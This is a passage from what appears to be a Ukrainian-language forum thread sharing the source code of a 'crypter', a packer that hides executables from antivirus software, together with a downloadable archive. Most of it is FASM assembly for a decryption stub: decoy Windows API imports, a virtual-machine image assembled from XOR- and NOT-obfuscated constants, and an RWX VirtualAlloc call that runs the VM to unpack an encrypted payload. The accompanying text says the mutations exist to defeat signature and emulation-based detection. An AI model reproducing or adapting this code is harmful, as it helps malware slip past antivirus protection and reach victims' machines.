    xor    edx, edx
    div    edi
    movzx  ecx, Byte [ebx+edx]
    mov    Byte [esi], cl
    inc    esi
    xor    edx, edx
    div    edi
    movzx  ecx, Byte [ebx+edx]
    mov    Byte [esi], cl
    popa
    xor    eax, eax
    ret
endp

proc ascii85_encode pSrc:DWORD, pDst:DWORD, dwLen:DWORD
    pusha
    mov     esi, [pSrc]
    mov     edi, [pDst]
    mov     ecx, [dwLen]
    add     ecx, 03h
    shr     ecx, 02h
.up:
    stdcall ascii85_encode_dword, edi, DWord [esi]
    add     esi, 04h
    add     edi, 05h
    loop    .up
    popa
    ret
endp
Post's attachments

packer.srcnbin.zip 257.45 kb, 935 downloads since 2015-01-02 

2

Re: [Джерельний код] Криптор

Анатомія стабів

Стаби біж собою сильно різняться, навіть якщо вони мають спільні віртуальні машини, паролі і абетки для розшифрування початкового файлу. Мутації коду нескладні, але їх цілком достатньо для того, щоб збити з пантелику сигнатурний детектор. За вичерпання глибини емуляції відповідає програмна віртуальна машина.

Лістинг головного файлу стаба - stub.asm. Звичайно, що в процесі криптування задіяний не сам лістинг :), а об’єктний файл stub.obj, якого ми одержуємо з цього лістингу, передавший той до FASM’у.

Одчинити
format MS COFF
use32
include '%FASMINC%\win32a.inc'
include 'picovm.inc'

macro @ cmd, p {
 PICOVM_CMD cmd, p
}

extrn crdata
extrn '__imp__GetStdHandle@4' as GetStdHandle:DWord
extrn '__imp__VirtualAlloc@16' as VirtualAlloc:DWord
extrn '__imp__WriteFile@20' as WriteFile:DWord
extrn '__imp__GetDC@4' as GetDC:DWord
extrn '__imp__BeginPaint@8' as BeginPaint:DWord
extrn '__imp__CreateMutexA@12' as CreateMutexA:DWord
extrn '__imp__CreateMutexW@12' as CreateMutexW:DWord
extrn '__imp__VirtualFree@12' as VirtualFree:DWord
extrn '__imp__GetLastError@0' as GetLastError:DWord
extrn '__imp__GetModuleHandleA@4' as GetModuleHandleA:DWord
extrn '__imp__GetModuleHandleW@4' as GetModuleHandleW:DWord
extrn '__imp__GetSystemInfo@4' as GetSystemInfo:DWord
extrn '__imp__GetVersionExA@4' as GetVersionExA:DWord
extrn '__imp__LocalAlloc@8' as LocalAlloc:DWord
extrn '__imp__CharUpperA@4' as CharUpperA:DWord
extrn '__imp__CreateDialogParamA@20' as CreateDialogParamA:DWord
extrn '__imp__CreateWindowExA@48' as CreateWindowExA:DWord
extrn '__imp__DefWindowProcA@16' as DefWindowProcA:DWord
extrn '__imp__DispatchMessageA@4' as DispatchMessageA:DWord
extrn '__imp__EndDialog@8' as EndDialog:DWord
extrn '__imp__EndPaint@8' as EndPaint:DWord
extrn '__imp__GetClassInfoExA@12' as GetClassInfoExA:DWord
extrn '__imp__GetMessageA@16' as GetMessageA:DWord
extrn '__imp__GetSystemMetrics@4' as GetSystemMetrics:DWord
extrn '__imp__LoadCursorA@8' as LoadCursorA:DWord
extrn '__imp__LoadIconA@8' as LoadIconA:DWord
extrn '__imp__PostQuitMessage@4' as PostQuitMessage:DWord
extrn '__imp__RegisterClassExA@4' as RegisterClassExA:DWord
extrn '__imp__SendMessageA@16' as SendMessageA:DWord
extrn '__imp__SendMessageW@16' as SendMessageW:DWord
extrn '__imp__SetDlgItemInt@16' as SetDlgItemInt:DWord
extrn '__imp__SetFocus@4' as SetFocus:DWord
extrn '__imp__SetWindowTextW@8' as SetWindowTextW:DWord
extrn '__imp__ShowWindow@8' as ShowWindow:DWord
extrn '__imp__TranslateMessage@4' as TranslateMessage:DWord
extrn '__imp__UpdateWindow@4' as UpdateWindow:DWord
extrn '__imp__GetDIBits@28' as GetDIBits:DWord
extrn '__imp__CreateCompatibleBitmap@12' as CreateCompatibleBitmap:DWord
extrn '__imp__GdiFlush@0' as GdiFlush:DWord
extrn '__imp__CombineRgn@16' as CombineRgn:DWord
extrn '__imp__CreateRectRgnIndirect@4' as CreateRectRgnIndirect:DWord
extrn '__imp__GetRegionData@12' as GetRegionData:DWord
extrn '__imp__SetStretchBltMode@8' as SetStretchBltMode:DWord
extrn '__imp__SelectObject@8' as SelectObject:DWord
extrn '__imp__CreateCompatibleDC@4' as CreateCompatibleDC:DWord
extrn '__imp__CreateDIBitmap@24' as CreateDIBitmap:DWord
extrn '__imp__BitBlt@36' as BitBlt:DWord
extrn '__imp__SetBkMode@8' as SetBkMode:DWord
extrn '__imp__CreateFontIndirectA@4' as CreateFontIndirectA:DWord
extrn '__imp__DPtoLP@12' as DPtoLP:DWord
extrn '__imp__GetDeviceCaps@8' as GetDeviceCaps:DWord
extrn '__imp__CreateFontA@56' as CreateFontA:DWord
extrn '__imp__StretchBlt@44' as StretchBlt:DWord
extrn '__imp__GetObjectA@12' as GetObjectA:DWord
extrn '__imp__SelectClipRgn@8' as SelectClipRgn:DWord
extrn '__imp__ExtTextOutA@32' as ExtTextOutA:DWord
struct PICOVM_DATA
context PICOVM_CONTEXT ?
picovm db 0x3E7 dup (?)
dstack dd 0x2D dup (?)
rstack dd 0x18 dup (?)
ends

section '.data' data readable writeable

pcode:
file 'pcode.bin'

section '.text' code readable executable

proc genvmimage, pPicoVMImage
    mov     ebx, [pPicoVMImage]
    mov     DWord [ebx], DWORD 0xE860
    lea     ebx, [ebx+0x4]
    mov     ecx, DWORD 0x2C830000
    mov     DWord [ebx], ecx
    lea     ebx, [ebx+0x4]
    push    DWORD 0x835D0624
    pop     eax
    mov     DWord [ebx], eax
    lea     ebx, [ebx+0x4]
    mov     edx, DWORD 0x177706F8
    mov     DWord [ebx], edx
    add     ebx, DWORD 0x4
    mov     edx, DWORD 0x7E8
    mov     DWord [ebx], edx
    add     ebx, DWORD 0x4
    mov     eax, DWORD 0x6900D24F
    xor     eax, 0xFA76344F
    mov     DWord [ebx], eax
    add     ebx, DWORD 0x4
    push    DWORD 0xC82EAE56
    pop     DWord [ebx]
    lea     ebx, [ebx+0x4]
    mov     DWord [ebx], DWORD 0xCB60F59
    add     ebx, DWORD 0x4
    mov     edi, DWORD 0xFFE90101
    push    edi
    pop     DWord [ebx]
    add     ebx, DWORD 0x4
    mov     DWord [ebx], DWORD 0xBA4DEBD1
    lea     ebx, [ebx+0x4]
    mov     DWord [ebx], DWORD 0xFFFFFFFA
    lea     ebx, [ebx+0x4]
    push    DWORD 0x896015EB
    pop     esi
    mov     DWord [ebx], esi
    lea     ebx, [ebx+0x4]
    mov     edx, DWORD 0xFF6D1729
    not     edx
    mov     DWord [ebx], edx
    lea     ebx, [ebx+0x4]
    mov     DWord [ebx], DWORD 0x5F7D1476
    xor     DWord [ebx], 0xE9721476
    lea     ebx, [ebx+0x4]
    mov     eax, DWORD 0xEC04AD5C
    xor     eax, 0x263DA417
    mov     DWord [ebx], eax
    add     ebx, DWORD 0x4
    mov     DWord [ebx], DWORD 0xFCBA0A72
    lea     ebx, [ebx+0x4]
    mov     DWord [ebx], DWORD 0xF9FFFFFF
    add     ebx, DWORD 0x4
    push    DWORD 0x2CEBD089
    pop     eax
    mov     DWord [ebx], eax
    add     ebx, DWORD 0x4
    push    DWORD 0x890E4B8B
    pop     DWord [ebx]
    add     ebx, DWORD 0x4
    push    DWORD 0xE438331
    pop     eax
    mov     DWord [ebx], eax
    lea     ebx, [ebx+0x4]
    mov     DWord [ebx], DWORD 0xF8D23104
    add     ebx, DWORD 0x4
    push    DWORD 0xE860EEEB
    pop     edi
    mov     DWord [ebx], edi
    add     ebx, DWORD 0x4
    mov     ecx, DWORD 0xDAB65B27
    xor     ecx, 0xDAB65B4B
    mov     DWord [ebx], ecx
    lea     ebx, [ebx+0x4]
    mov     esi, DWORD 0x775D285
    mov     DWord [ebx], esi
    lea     ebx, [ebx+0x4]
    mov     ecx, DWORD 0xFFFFFBBA
    push    ecx
    pop     DWord [ebx]
    add     ebx, DWORD 0x4
    mov     DWord [ebx], DWORD 0xFBE37DD3
    xor     DWord [ebx], 0x703F962C
    add     ebx, DWORD 0x4
    mov     DWord [ebx], DWORD 0x32970366
    xor     DWord [ebx], 0x731C0D2D
    lea     ebx, [ebx+0x4]
    push    DWORD 0xE6B83FC
    pop     DWord [ebx]
    lea     ebx, [ebx+0x4]
    mov     DWord [ebx], DWORD 0x2F59C8F
    xor     DWord [ebx], 0xFA27AD8B
    add     ebx, DWORD 0x4
    mov     eax, DWORD 0xD23166EB
    mov     DWord [ebx], eax
    lea     ebx, [ebx+0x4]
    mov     esi, DWORD 0xE840C031
    mov     DWord [ebx], esi
    lea     ebx, [ebx+0x4]
    mov     DWord [ebx], DWORD 0x7A6EF2C5
    xor     DWord [ebx], 0x7A6EF21F
    add     ebx, DWORD 0x4
    mov     esi, DWORD 0xB474F38D
    mov     DWord [ebx], esi
    not     DWord [ebx]
    add     ebx, DWORD 0x4
    mov     DWord [ebx], DWORD 0xFC418B12
    add     ebx, DWORD 0x4
    mov     eax, DWORD 0x4126B83
    mov     DWord [ebx], eax
    lea     ebx, [ebx+0x4]
    mov     DWord [ebx], DWORD 0x3192C3F8
    lea     ebx, [ebx+0x4]
    mov     esi, DWORD 0x8A2C9C15
    xor     esi, 0xFEF65D5
    mov     DWord [ebx], esi
    lea     ebx, [ebx+0x4]
    mov     esi, DWORD 0x890374D2
    mov     DWord [ebx], esi
    lea     ebx, [ebx+0x4]
    mov     DWord [ebx], DWORD 0x93231882
    xor     DWord [ebx], 0xC0A819D1
    lea     ebx, [ebx+0x4]
    mov     ecx, DWORD 0xFF3A8001
    mov     DWord [ebx], ecx
    add     ebx, DWORD 0x4
    mov     DWord [ebx], DWORD 0x3FE80874
    add     ebx, DWORD 0x4
    push    DWORD 0x73000000
    pop     DWord [ebx]
    lea     ebx, [ebx+0x4]
    mov     DWord [ebx], DWORD 0x3192C3F1
    add     ebx, DWORD 0x4
    mov     eax, DWORD 0xC031C3C0
    mov     DWord [ebx], eax
    add     ebx, DWORD 0x4
    mov     ecx, DWORD 0xA3E8C4FE
    mov     DWord [ebx], ecx
    lea     ebx, [ebx+0x4]
    mov     DWord [ebx], DWORD 0x73000000
    add     ebx, DWORD 0x4
    mov     DWord [ebx], DWORD 0x66E2EE9
    xor     DWord [ebx], 0xC5BEA7EA
    add     ebx, DWORD 0x4
    mov     DWord [ebx], DWORD 0x9CC9BE58
    xor     DWord [ebx], 0x15DBF5D3
    lea     ebx, [ebx+0x4]
    mov     esi, DWORD 0x1D5045E
    xor     esi, 0x1396874F
    mov     DWord [ebx], esi
    lea     ebx, [ebx+0x4]
    push    DWORD 0xF76E4294
    pop     eax
    xor     eax, 0x34BC7390
    mov     DWord [ebx], eax
    lea     ebx, [ebx+0x4]
    mov     DWord [ebx], DWORD 0x12438B60
    lea     ebx, [ebx+0x4]
    mov     DWord [ebx], DWORD 0x70B9860A
    xor     DWord [ebx], 0x5BB7D581
    lea     ebx, [ebx+0x4]
    mov     DWord [ebx], DWORD 0xE8C10543
    lea     ebx, [ebx+0x4]
    mov     DWord [ebx], DWORD 0xA532B02
    add     ebx, DWORD 0x4
    mov     ecx, DWORD 0xF802EAC1
    mov     DWord [ebx], ecx
    lea     ebx, [ebx+0x4]
    mov     DWord [ebx], DWORD 0x3BBAD5A6
    xor     DWord [ebx], 0x2F9E812F
    add     ebx, DWORD 0x4
    mov     edx, DWORD 0x2EFBD1E2
    xor     edx, 0x32DF956B
    mov     DWord [ebx], edx
    add     ebx, DWORD 0x4
    mov     eax, DWORD 0x3160C361
    mov     DWord [ebx], eax
    add     ebx, DWORD 0x4
    mov     DWord [ebx], DWORD 0x738B50C0
    lea     ebx, [ebx+0x4]
    push    DWORD 0x4E1F4217
    pop     DWord [ebx]
    xor     DWord [ebx], 0xAFA2CF16
    add     ebx, DWORD 0x4
    mov     esi, DWORD 0xBF18BBAE
    xor     esi, 0xB018BBAC
    mov     DWord [ebx], esi
    add     ebx, DWORD 0x4
    mov     DWord [ebx], DWORD 0xF4E63A80
    xor     DWord [ebx], 0x3C6F3436
    add     ebx, DWORD 0x4
    mov     DWord [ebx], DWORD 0xC701E0D1
    lea     ebx, [ebx+0x4]
    mov     esi, DWORD 0xB36AC19C
    xor     esi, 0xB4DCCECB
    mov     DWord [ebx], esi
    lea     ebx, [ebx+0x4]
    mov     ecx, DWORD 0xE0C13F24
    mov     DWord [ebx], ecx
    lea     ebx, [ebx+0x4]
    mov     edi, DWORD 0x93A9BEFC
    xor     edi, 0x95417EFF
    push    edi
    pop     DWord [ebx]
    add     ebx, DWORD 0x4
    mov     DWord [ebx], DWORD 0xF63FC8A1
    xor     DWord [ebx], 0xF63F8549
    lea     ebx, [ebx+0x4]
    mov     eax, DWORD 0x879DFDB
    xor     eax, 0x744ADDB
    mov     DWord [ebx], eax
    add     ebx, DWORD 0x4
    mov     DWord [ebx], DWORD 0x918EF578
    xor     DWord [ebx], 0x794FF2CF
    add     ebx, DWORD 0x4
    mov     ecx, DWORD 0x5E80106
    mov     DWord [ebx], ecx
    lea     ebx, [ebx+0x4]
    mov     esi, DWORD 0xB4B65D0
    xor     esi, 0xB4B645A
    mov     DWord [ebx], esi
    add     ebx, DWORD 0x4
    mov     eax, DWORD 0x24048155
    mov     DWord [ebx], eax
    lea     ebx, [ebx+0x4]
    mov     ecx, DWORD 0xFFFFFED0
    not     ecx
    mov     DWord [ebx], ecx
    lea     ebx, [ebx+0x4]
    mov     edx, DWORD 0x127B8B50
    mov     DWord [ebx], edx
    add     ebx, DWORD 0x4
    mov     eax, DWORD 0x7407A874
    not     eax
    mov     DWord [ebx], eax
    add     ebx, DWORD 0x4
    mov     DWord [ebx], DWORD 0x8822FDB9
    xor     DWord [ebx], 0xD2E101FE
    add     ebx, DWORD 0x4
    mov     DWord [ebx], DWORD 0x8524048B
    lea     ebx, [ebx+0x4]
    mov     edx, DWORD 0x8B1575C0
    mov     DWord [ebx], edx
    add     ebx, DWORD 0x4
    mov     esi, DWORD 0xF14245C
    mov     DWord [ebx], esi
    add     ebx, DWORD 0x4
    mov     DWord [ebx], DWORD 0xE28312B6
    lea     ebx, [ebx+0x4]
    mov     DWord [ebx], DWORD 0xDDFFD3C2
    xor     DWord [ebx], 0x56F3A7C5
    lea     ebx, [ebx+0x4]
    mov     edx, DWORD 0xD6010173
    mov     DWord [ebx], edx
    lea     ebx, [ebx+0x4]
    mov     DWord [ebx], DWORD 0x3EBD231
    add     ebx, DWORD 0x4
    mov     esi, DWORD 0x89F99692
    mov     DWord [ebx], esi
    add     ebx, DWORD 0x4
    mov     eax, DWORD 0x7B8959F0
    mov     DWord [ebx], eax
    lea     ebx, [ebx+0x4]
    mov     esi, DWORD 0x1738912
    mov     DWord [ebx], esi
    lea     ebx, [ebx+0x4]
    mov     DWord [ebx], DWORD 0x316082EB
    lea     ebx, [ebx+0x4]
    mov     DWord [ebx], DWORD 0xEE25AFD3
    xor     DWord [ebx], 0x2FE7262C
    add     ebx, DWORD 0x4
    mov     ecx, DWORD 0x819608EA
    mov     DWord [ebx], ecx
    add     ebx, DWORD 0x4
    mov     DWord [ebx], DWORD 0xFFE6
    add     ebx, DWORD 0x4
    mov     edx, DWORD 0xFF5AE800
    mov     DWord [ebx], edx
    lea     ebx, [ebx+0x4]
    mov     DWord [ebx], DWORD 0x50B949D1
    xor     DWord [ebx], 0xA080B62E
    add     ebx, DWORD 0x4
    mov     DWord [ebx], DWORD 0xEB4F037D
    lea     ebx, [ebx+0x4]
    mov     DWord [ebx], DWORD 0x33B60F0B
    lea     ebx, [ebx+0x4]
    mov     DWord [ebx], DWORD 0xD639C629
    lea     ebx, [ebx+0x4]
    mov     esi, DWORD 0x4F4F057D
    mov     DWord [ebx], esi
    lea     ebx, [ebx+0x4]
    mov     ecx, DWORD 0xF801EBF9
    mov     DWord [ebx], ecx
    add     ebx, DWORD 0x4
    mov     eax, DWORD 0xFF56E997
    mov     DWord [ebx], eax
    lea     ebx, [ebx+0x4]
    mov     DWord [ebx], DWORD 0xD0FFFFFF
    add     ebx, DWORD 0x4
    mov     eax, DWORD 0x831089C3
    mov     DWord [ebx], eax
    lea     ebx, [ebx+0x4]
    mov     edx, DWORD 0x66C308EF
    mov     DWord [ebx], edx
    add     ebx, DWORD 0x4
    mov     DWord [ebx], DWORD 0xF7EB1089
    lea     ebx, [ebx+0x4]
    push    DWORD 0xF3EB1088
    pop     DWord [ebx]
    lea     ebx, [ebx+0x4]
    mov     eax, DWORD 0x4C5EFB9D
    xor     eax, 0x67B53D14
    mov     DWord [ebx], eax
    lea     ebx, [ebx+0x4]
    mov     esi, DWORD 0x27EBC601
    mov     DWord [ebx], esi
    add     ebx, DWORD 0x4
    mov     edx, DWORD 0xFB8A2D7A
    not     edx
    mov     DWord [ebx], edx
    add     ebx, DWORD 0x4
    mov     DWord [ebx], DWORD 0xE3EBC601
    add     ebx, DWORD 0x4
    mov     edx, DWORD 0x87E0EB46
    mov     DWord [ebx], edx
    add     ebx, DWORD 0x4
    mov     ecx, DWORD 0x830F89CA
    mov     DWord [ebx], ecx
    lea     ebx, [ebx+0x4]
    mov     ecx, DWORD 0xFC304C7
    mov     DWord [ebx], ecx
    add     ebx, DWORD 0x4
    push    DWORD 0x14FEB149
    pop     ecx
    mov     DWord [ebx], ecx
    not     DWord [ebx]
    lea     ebx, [ebx+0x4]
    mov     DWord [ebx], DWORD 0x4EB70FF4
    lea     ebx, [ebx+0x4]
    mov     esi, DWORD 0x8BEEEB01
    mov     DWord [ebx], esi
    lea     ebx, [ebx+0x4]
    mov     DWord [ebx], DWORD 0xE9EB014E
    lea     ebx, [ebx+0x4]
    mov     edi, DWORD 0x147399B2
    xor     edi, 0x97957223
    mov     DWord [ebx], edi
    lea     ebx, [ebx+0x4]
    push    DWORD 0x89C304EF
    pop     edx
    mov     DWord [ebx], edx
    lea     ebx, [ebx+0x4]
    mov     esi, DWORD 0x42F289C1
    mov     DWord [ebx], esi
    lea     ebx, [ebx+0x4]
    mov     DWord [ebx], DWORD 0xFFFE55E8
    lea     ebx, [ebx+0x4]
    mov     DWord [ebx], DWORD 0x214D0817
    xor     DWord [ebx], 0xDDCF07E8
    add     ebx, DWORD 0x4
    mov     esi, DWORD 0x76FFFFFF
    not     esi
    mov     DWord [ebx], esi
    lea     ebx, [ebx+0x4]
    mov     edx, DWORD 0x2B3A10DA
    xor     edx, 0xA2D2FB14
    mov     DWord [ebx], edx
    lea     ebx, [ebx+0x4]
    mov     esi, DWORD 0x2E11D17F
    xor     esi, 0x6CE358BE
    push    esi
    pop     DWord [ebx]
    lea     ebx, [ebx+0x4]
    mov     edx, DWORD 0xFFFE41E8
    mov     DWord [ebx], edx
    add     ebx, DWORD 0x4
    push    DWORD 0xE8820FFF
    pop     DWord [ebx]
    lea     ebx, [ebx+0x4]
    mov     edi, DWORD 0x1000000
    mov     DWord [ebx], edi
    add     ebx, DWORD 0x4
    mov     ecx, DWORD 0x6EDCA62F
    xor     ecx, 0xE7084DE1
    mov     DWord [ebx], ecx
    add     ebx, DWORD 0x4
    mov     edx, DWORD 0xD23192C1
    mov     DWord [ebx], edx
    add     ebx, DWORD 0x4
    mov     eax, DWORD 0xA8760E08
    not     eax
    mov     DWord [ebx], eax
    add     ebx, DWORD 0x4
    mov     DWord [ebx], DWORD 0x2539B0ED
    xor     DWord [ebx], 0x14F15B15
    lea     ebx, [ebx+0x4]
    mov     ecx, DWORD 0x77D039C9
    mov     DWord [ebx], ecx
    lea     ebx, [ebx+0x4]
    mov     DWord [ebx], DWORD 0xA848CCD2
    xor     DWord [ebx], 0xE7C185D3
    lea     ebx, [ebx+0x4]
    mov     edi, DWORD 0xCE431407
    mov     DWord [ebx], edi
    not     DWord [ebx]
    lea     ebx, [ebx+0x4]
    mov     edx, DWORD 0x72D039C9
    mov     DWord [ebx], edx
    add     ebx, DWORD 0x4
    mov     DWord [ebx], DWORD 0xF2EB49F5
    add     ebx, DWORD 0x4
    mov     eax, DWORD 0x979D016D
    xor     eax, 0xD576D16C
    mov     DWord [ebx], eax
    add     ebx, DWORD 0x4
    mov     DWord [ebx], DWORD 0x3A6554E9
    xor     DWord [ebx], 0xE48E96C0
    add     ebx, DWORD 0x4
    mov     esi, DWORD 0x6B1A88CD
    xor     esi, 0x51F16A3A
    mov     DWord [ebx], esi
    add     ebx, DWORD 0x4
    mov     ecx, DWORD 0x36EBD031
    mov     DWord [ebx], ecx
    lea     ebx, [ebx+0x4]
    mov     DWord [ebx], DWORD 0xD3CA8792
    lea     ebx, [ebx+0x4]
    mov     DWord [ebx], DWORD 0xF5DAECA1
    xor     DWord [ebx], 0x67F50749
    add     ebx, DWORD 0x4
    mov     edx, DWORD 0xC8D3CA87
    mov     DWord [ebx], edx
    lea     ebx, [ebx+0x4]
    mov     ecx, DWORD 0xAE924035
    xor     ecx, 0x290068DE
    mov     DWord [ebx], ecx
    add     ebx, DWORD 0x4
    mov     DWord [ebx], DWORD 0xEBE0D3CA
    lea     ebx, [ebx+0x4]
    mov     DWord [ebx], DWORD 0x39C93121
    lea     ebx, [ebx+0x4]
    mov     DWord [ebx], DWORD 0x93CE6FB7
    xor     DWord [ebx], 0xDA091A67
    add     ebx, DWORD 0x4
    mov     eax, DWORD 0x2F650317
    xor     eax, 0xFF92C7FC
    mov     DWord [ebx], eax
    lea     ebx, [ebx+0x4]
    mov     DWord [ebx], DWORD 0x4F8B2FEB
    lea     ebx, [ebx+0x4]
    mov     DWord [ebx], DWORD 0xF45789F4
    add     ebx, DWORD 0x4
    mov     edx, DWORD 0x4391101E
    xor     edx, 0xCA695797
    mov     DWord [ebx], edx
    add     ebx, DWORD 0x4
    mov     DWord [ebx], DWORD 0x89C3FC4F
    add     ebx, DWORD 0x4
    push    DWORD 0xD23192C1
    pop     DWord [ebx]
    add     ebx, DWORD 0x4
    mov     eax, DWORD 0x4789F1F7
    mov     DWord [ebx], eax
    lea     ebx, [ebx+0x4]
    push    DWORD 0xFF65E9F8
    pop     DWord [ebx]
    add     ebx, DWORD 0x4
    mov     DWord [ebx], DWORD 0x8792FFFF
    add     ebx, DWORD 0x4
    mov     DWord [ebx], DWORD 0xBF07A6FB
    xor     DWord [ebx], 0x54C77531
    lea     ebx, [ebx+0x4]
    mov     edi, DWORD 0xEBD021F1
    mov     DWord [ebx], edi
    lea     ebx, [ebx+0x4]
    mov     DWord [ebx], DWORD 0xEBD009ED
    lea     ebx, [ebx+0x4]
    mov     edi, DWORD 0x578992E9
    mov     DWord [ebx], edi
    add     ebx, DWORD 0x4
    mov     eax, DWORD 0x637EDD17
    xor     eax, 0x6D954CEF
    mov     DWord [ebx], eax
    add     ebx, DWORD 0x4
    mov     DWord [ebx], DWORD 0xEB00B60F
    add     ebx, DWORD 0x4
    mov     DWord [ebx], DWORD 0xB70FF8
    lea     ebx, [ebx+0x4]
    push    DWORD 0x61C6CA88
    pop     eax
    xor     eax, 0x614D3963
    mov     DWord [ebx], eax
    lea     ebx, [ebx+0x4]
    mov     DWord [ebx], DWORD 0x575D131E
    xor     DWord [ebx], 0x18D4FCF5
    add     ebx, DWORD 0x4
    mov     esi, DWORD 0x4040C3FC
    mov     DWord [ebx], esi
    add     ebx, DWORD 0x4
    mov     esi, DWORD 0xA8A740E9
    xor     esi, 0x6B4F8260
    mov     DWord [ebx], esi
    lea     ebx, [ebx+0x4]
    mov     eax, DWORD 0x72FFFFFE
    mov     DWord [ebx], eax
    lea     ebx, [ebx+0x4]
    mov     DWord [ebx], DWORD 0x2E2C143
    lea     ebx, [ebx+0x4]
    mov     DWord [ebx], DWORD 0x356D85CB
    xor     DWord [ebx], 0xE5447D42
    lea     ebx, [ebx+0x4]
    mov     DWord [ebx], DWORD 0x83370722
    xor     DWord [ebx], 0xC4B837DD
    lea     ebx, [ebx+0x4]
    push    DWORD 0x3EB52BF8
    pop     ecx
    xor     ecx, 0xFC3CE804
    mov     DWord [ebx], ecx
    add     ebx, DWORD 0x4
    mov     DWord [ebx], DWORD 0xABE84040
    add     ebx, DWORD 0x4
    mov     eax, DWORD 0x72FFFFFE
    mov     DWord [ebx], eax
    add     ebx, DWORD 0x4
    mov     edx, DWORD 0xD189602B
    mov     DWord [ebx], edx
    add     ebx, DWORD 0x4
    push    DWORD 0x8B4B3949
    pop     DWord [ebx]
    xor     DWord [ebx], 0x40C2CECE
    add     ebx, DWORD 0x4
    mov     eax, DWORD 0x2E3C143
    mov     DWord [ebx], eax
    add     ebx, DWORD 0x4
    mov     edx, DWORD 0x817221D6
    mov     DWord [ebx], edx
    not     DWord [ebx]
    lea     ebx, [ebx+0x4]
    mov     DWord [ebx], DWORD 0xFC37FFFC
    add     ebx, DWORD 0x4
    mov     eax, DWORD 0x78FA5F3
    mov     DWord [ebx], eax
    lea     ebx, [ebx+0x4]
    mov     DWord [ebx], DWORD 0x4EF8361
    lea     ebx, [ebx+0x4]
    mov     eax, DWORD 0x4EF83C3
    mov     DWord [ebx], eax
    lea     ebx, [ebx+0x4]
    push    DWORD 0x1D241BC5
    pop     DWord [ebx]
    xor     DWord [ebx], 0xE0A4F306
    lea     ebx, [ebx+0x4]
    mov     DWord [ebx], DWORD 0x372FFFF
    lea     ebx, [ebx+0x4]
    mov     eax, DWORD 0x44EBA2E1
    xor     eax, 0xD6286468
    mov     DWord [ebx], eax
    add     ebx, DWORD 0x4
    push    DWORD 0xB89C6578
    pop     DWord [ebx]
    xor     DWord [ebx], 0xB0B821F1
    add     ebx, DWORD 0x4
    mov     edx, DWORD 0x112391C3
    mov     DWord [ebx], edx
    lea     ebx, [ebx+0x4]
    mov     DWord [ebx], DWORD 0xA77C975B
    xor     DWord [ebx], 0xF6539E1A
    add     ebx, DWORD 0x4
    mov     edx, DWORD 0xD10CE302
    mov     DWord [ebx], edx
    add     ebx, DWORD 0x4
    push    DWORD 0x56F6AEC7
    pop     edx
    not     edx
    mov     DWord [ebx], edx
    lea     ebx, [ebx+0x4]
    mov     edi, DWORD 0x910B620F
    mov     DWord [ebx], edi
    add     ebx, DWORD 0x4
    mov     DWord [ebx], DWORD 0x8471126
    add     ebx, DWORD 0x4
    mov     edi, DWORD 0x1EA6D631
    xor     edi, 0x56A8B331
    mov     DWord [ebx], edi
    lea     ebx, [ebx+0x4]
    mov     ecx, DWORD 0x6C16614A
    xor     ecx, 0xFD13E95B
    mov     DWord [ebx], ecx
    lea     ebx, [ebx+0x4]
    mov     edx, DWORD 0x11215127
    mov     DWord [ebx], edx
    lea     ebx, [ebx+0x4]
    mov     DWord [ebx], DWORD 0x4A4199E4
    xor     DWord [ebx], 0xDB7E90CF
    lea     ebx, [ebx+0x4]
    mov     eax, DWORD 0x3FCFE6DB
    mov     DWord [ebx], eax
    not     DWord [ebx]
    lea     ebx, [ebx+0x4]
    mov     DWord [ebx], DWORD 0x4900D151
    add     ebx, DWORD 0x4
    push    DWORD 0x5139D110
    pop     edi
    mov     DWord [ebx], edi
    add     ebx, DWORD 0x4
    mov     eax, DWORD 0x112CD129
    mov     DWord [ebx], eax
    add     ebx, DWORD 0x4
    mov     DWord [ebx], DWORD 0xD11E5137
    add     ebx, DWORD 0x4
    mov     esi, DWORD 0x6BDEBAE8
    xor     esi, 0xA2C8F2D2
    mov     DWord [ebx], esi
    lea     ebx, [ebx+0x4]
    mov     DWord [ebx], DWORD 0x911B513D
    lea     ebx, [ebx+0x4]
    mov     DWord [ebx], DWORD 0x962BAC91
    xor     DWord [ebx], 0xC72D3C92
    add     ebx, DWORD 0x4
    mov     DWord [ebx], DWORD 0x89259133
    lea     ebx, [ebx+0x4]
    mov     BYTE [ebx], 0x3C
    sub     ebx, -1
    mov     BYTE [ebx], 0x88
    add     ebx, 1
    mov     BYTE [ebx], 0x4
    ret
endp

public CryptMain as '_CryptMain@0'

proc    CryptMain 
  local   pUnpackedData:DWORD
  local   ppcode:DWORD
  local   palphabet:DWORD
  local   pefilesize:DWORD
  local   inpfsz:DWORD
  local   ppicovm:DWORD
  local   ppass:DWORD
  local   pvmctx:DWORD
  local   pmem:DWORD
  local   cdcrsize:DWORD
  local   pPackedData:DWORD
  local   pS:DWORD
  local   S[0x100]:BYTE
  local   iResult:DWORD
    push    esi
    push    edx
    push    ecx
    push    ebx
    push    eax
    mov     ebx, DWord [pmem]
    lea     ebx, [ebx+PICOVM_DATA.context]
    mov     DWord [pvmctx], ebx
    stdcall DWord [VirtualAlloc], NULL, 0xACADBE71, MEM_TOP_DOWN or MEM_COMMIT or MEM_RESERVE, PAGE_EXECUTE_READWRITE
    push    eax
    pop     DWord [pmem]
    lea     eax, [alphbody]
    mov     eax, DWord [pmem]
    add     eax, DWORD 0x1751
    mov     DWord [pUnpackedData], eax
    lea     ebx, [passbody]
    push    ebx
    pop     DWord [ppass]
    lea     eax, [crdata]
    mov     DWord [pPackedData], eax
    mov     eax, DWord [pmem]
    lea     esi, [eax+PICOVM_DATA.rstack]
    lea     edx, [eax+PICOVM_DATA.dstack]
    mov     DWord [eax+PICOVM_DATA.context._dstack_begin], edx
    mov     BYTE [eax+PICOVM_DATA.context._dstack_size], 0x18
    mov     DWord [eax+PICOVM_DATA.context._rstack_top], esi
    mov     DWord [eax+PICOVM_DATA.context._rstack_begin], esi
    push    edx
    pop     DWord [eax+PICOVM_DATA.context._dstack_top]
    mov     BYTE [eax+PICOVM_DATA.context._rstack_size], 0x2D
    lea     eax, [s]
    push    eax
    pop     DWord [pS]
    lea     ecx, [alphbody]
    push    ecx
    pop     DWord [palphabet]
    mov     DWord [cdcrsize], DWORD 0xAB7E6CA9
    mov     esi, DWord [pmem]
    lea     esi, [PICOVM_DATA.picovm+esi]
    push    esi
    pop     DWord [ppicovm]
    push    esi
    pop     DWord [ppicovm]
    stdcall genvmimage, esi
    lea     ebx, [pcode]
    push    ebx
    pop     DWord [ppcode]
    mov     eax, PICOVM_FNC_DSPUSH
    mov     edx, DWord [pS]
    push    DWord [pvmctx]
    pop     ebx
    call    [ppicovm]
